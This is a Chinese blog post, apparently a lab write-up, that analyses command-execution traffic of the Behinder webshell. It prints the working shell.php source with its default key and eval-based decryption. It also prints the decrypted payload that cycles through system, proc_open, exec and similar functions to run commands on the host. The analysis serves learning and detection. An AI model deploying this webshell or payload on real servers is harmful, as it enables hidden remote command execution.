冰蝎:命令执行操作的流量分析

冰蝎:命令执行操作的流量分析

    • 环境工具
    • 实验步骤
      • 1.使用bp抓包
      • 2.使用PHPStorm 抓包分析
      • 3.分析真正的语句
      • 4.总结

环境工具

  • 冰蝎 v3.0 Beta 11 [tools专版]
  • Burp Suite
  • PHPStorm (需配置好debug功能)
  • PHPStudy 5.6.27

实验步骤

1.使用bp抓包

先将冰蝎目录里的server/shell.php 放进 WWW 目录下,打开文件,得第四行默认连接密码 rebeyond

在冰蝎上挂好bp的代理

以执行 whoami 为例

包的大致内容如下

冰蝎:命令执行操作的流量分析_第1张图片

此时发现包的末尾有 == 首先推测出是用base64进行加密,但经过解码后发现仍是乱码,因此此方法无效。(这步的目的主要是看发几个包)

2.使用PHPStorm 抓包分析

先在连接冰蝎的URL 加入PHPStorm调试参数

shell.php总体流程和解释


@error_reporting(0);    //设置错误报告级别为0
session_start();    //新建session
$key = "e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond 完整的是 e45e329feb5d925ba3f549b17b4b3dde
$_SESSION['k'] = $key;
session_write_close();  //结束当前会话并存储会话数据
$post = file_get_contents("php://input");	//获取post包下的那一堆参数
if (!extension_loaded('openssl'))    //是否没开启openssl扩展(php.ini) 是用于SSL/TLS协议的加密工具
{
    $t = "base64_" . "decode";
    $post = $t($post . ""); //第一次base64解码,结果是乱码

    for ($i = 0; $i < strlen($post); $i++) {    //遍历$post的每个字符,运行下面的计算
        $post[$i] = $post[$i] ^ $key[$i + 1 & 15];	//第二次解码,真正出结果的语句,^:异或运算符,&:与运算符
    }
} else {
    $post = openssl_decrypt($post, "AES128", $key); //解码函数(密文,算法,密钥)
}
$arr = explode('|', $post);	//用 | 分割 (二次解码后只在assert后存在| 所以只分成了两段)
$func = $arr[0];    //结果:assert
$params = $arr[1];  //结果:eval(base64_decode(...))

class C
{
    public function __invoke($p)
    {
        eval($p . "");  //执行base64解码后语句,也就是执行$params base64解码后的语句
    }
}

@call_user_func(new C(), $params);	//调用回调函数
echo 123;   //为了快速跳转所设置的断点,能直接得到 $params的值
?>

由此得出,shell.php这个文件的作用是解码 post 传的参数。

而真正执行的语句一共经过了三层加密:base64 -> 异或加密/AES128 ->base64

(如果不懂第二次解码的操作可以debug下面的语句)


$post = ' 此处截取第一次解码后的乱码 ';

$key = "e45e329feb5d925b";
for ($i = 0; $i < strlen($post); $i++) {
    $a = $post[$i];
    $b = $key[$i + 1 & 15]; //第一次是从4开始的
    $c = $a ^ $b;
    $post[$i] = $c;
}
?>

3.分析真正的语句

准备工作

  1. 重新发送语句,跳转到最后一行(echo 123;)
  2. 复制 $params 的值,将base64_decode 里的内容自己解码
  3. 将解码后的代码复制到新的php文件中,访问调试

总体流程和解释


//将shell.php 的头部加上,下面需要
@error_reporting(0);
session_start();
$key = "e45e329feb5d925b";
$_SESSION['k'] = $key;
session_write_close();
//------------------------------
function getSafeStr($str)
{
    $s1 = iconv('utf-8', 'gbk//IGNORE', $str);  //将$str 从utf-8编码转成gbk编码
    $s0 = iconv('gbk', 'utf-8//IGNORE', $s1);   //将$1 从utf-8编码转成gbk编码
    if ($s0 == $str) {
        return $s0;
    } else {
        return iconv('gbk', 'utf-8//IGNORE', $str);
    }
}

function main($cmd, $path)
{
    @set_time_limit(0); //设置脚本最大执行时间
    @ignore_user_abort(1);  //设置客户端断开连接时是否中断脚本的执行
    @ini_set('max_execution_time', 0);  //为一个配置选项设置值 (设置php.ini中的值,0表示没时间限制)
    $result = array();
    $PadtJn = @ini_get('disable_functions');    //php.ini 中的选项,设置PHP环境禁止使用某些函数
    if (!empty($PadtJn)) {  //判断是否不为空
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);    //将禁用函数用,分割成数组
        $PadtJn = array_map('trim', $PadtJn);   //  回调函数trim():删除字符串开头的空格(或其他字符)
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {  //判断是不是window系统;PHP_OS=WINNT;strpos():查找字符串首次出现的位置
        $c = $c . " 2>&1\n";    //1表示标准输出,2表示标准错误输出,2>&1表示将标准错误输出重定向到标准输出,这样,程序或者命令的正常输出和错误输出就可以在标准输出输出。
    }
    $JueQDBH = 'is_callable';   //检测该函数在当前环境中是否可调用
    $Bvce = 'in_array'; //搜索数组中是否存在指定的值
    if ($JueQDBH('system') and !$Bvce('system', $PadtJn)) { //检测system() 是否可用
        ob_start();
        system($c);
        $kWJW = ob_get_contents();  //获取ob里的值
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and !$Bvce('proc_open', $PadtJn)) { //检测proc_open() 是否可用
        $handle = proc_open($c, array(  //proc_open() 执行一个命令,并且打开用来输入/输出的文件指针
            array(  //标准输入,子进程从此管道读取数据
                'pipe',
                'r'
            ),
            array(  //标准输出,子进程向此管道写入数据
                'pipe',
                'w'
            ),
            array(  //再读一次
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (!feof($pipes[1])) {  //feof() 测试文件指针是否到了文件结束的位置
            $kWJW .= fread($pipes[1], 1024);    //每次读1024个字节
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and !$Bvce('passthru', $PadtJn)) {  //检测passthru() 是否可用
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and !$Bvce('shell_exec', $PadtJn)) {  //检测shell_exec() 是否可用
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and !$Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);    //执行并赋值给$kWJW
        $kWJW = join(chr(10), $kWJW) . chr(10); //chr() 函数从指定 ASCII 值返回字符
    } else if ($JueQDBH('exec') and !$Bvce('popen', $PadtJn)) { //检测exec()和popen() 是否可用
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (!feof($fp)) {    //跟上面一样
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {    //上面的函数都被禁用了
        $kWJW = 0;
        $result["status"] = base64_encode("fail");  //加入失败的信息
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result), $key);   //encrypt(需要加密解密的字符串,密钥)
        return;

    }
    $result["status"] = base64_encode("success");   //加入成功的信息:c3VjY2Vzcw==
    $result["msg"] = base64_encode(getSafeStr($kWJW));  //命令执行的结果:$kWJW=win102022liofhw\administrator
    echo encrypt(json_encode($result), $_SESSION['k']); //最终的语句
}

function encrypt($data, $key)	//再次加密
{
    if (!extension_loaded('openssl')) {
        for ($i = 0; $i < strlen($data); $i++) {
            $data[$i] = $data[$i] ^ $key[$i + 1 & 15];  //原理跟shell.php里的一样
        }
        return $data;   //乱码
    } else {
        return openssl_encrypt($data, "AES128", $key);	//加密函数
    }
}

$cmd = "Y2QgL2QgIkM6XHBocFN0dWR5XFdXV1wiJndob2FtaQ==";
$cmd = base64_decode($cmd); //结果:cd /d "C:\phpStudy\WWW\"&whoami (直接执行这句也出结果)
$path = "QzovcGhwU3R1ZHkvV1dXLw==";
$path = base64_decode($path);   //结果:C:/phpStudy/WWW/
main($cmd, $path);

4.总结

路径走向:main() -> getSafeStr() -> encrypt()

各个函数的作用

  • main:主程序,找到能够执行命令的函数。
  • getSafeStr:貌似是为了确保输出的结果不被系统默认编码影响。
  • encrypt:再次加密。

思路:通过两个参数来进行一系列加密解密,并获取配置文件里的设置来判断该用什么执行命令的函数。但仍然不清楚是怎么将结果返回到冰蝎终端的。


第一次写文章,如有出错,多多包含。

你可能感兴趣的:(web安全,phpstorm,php)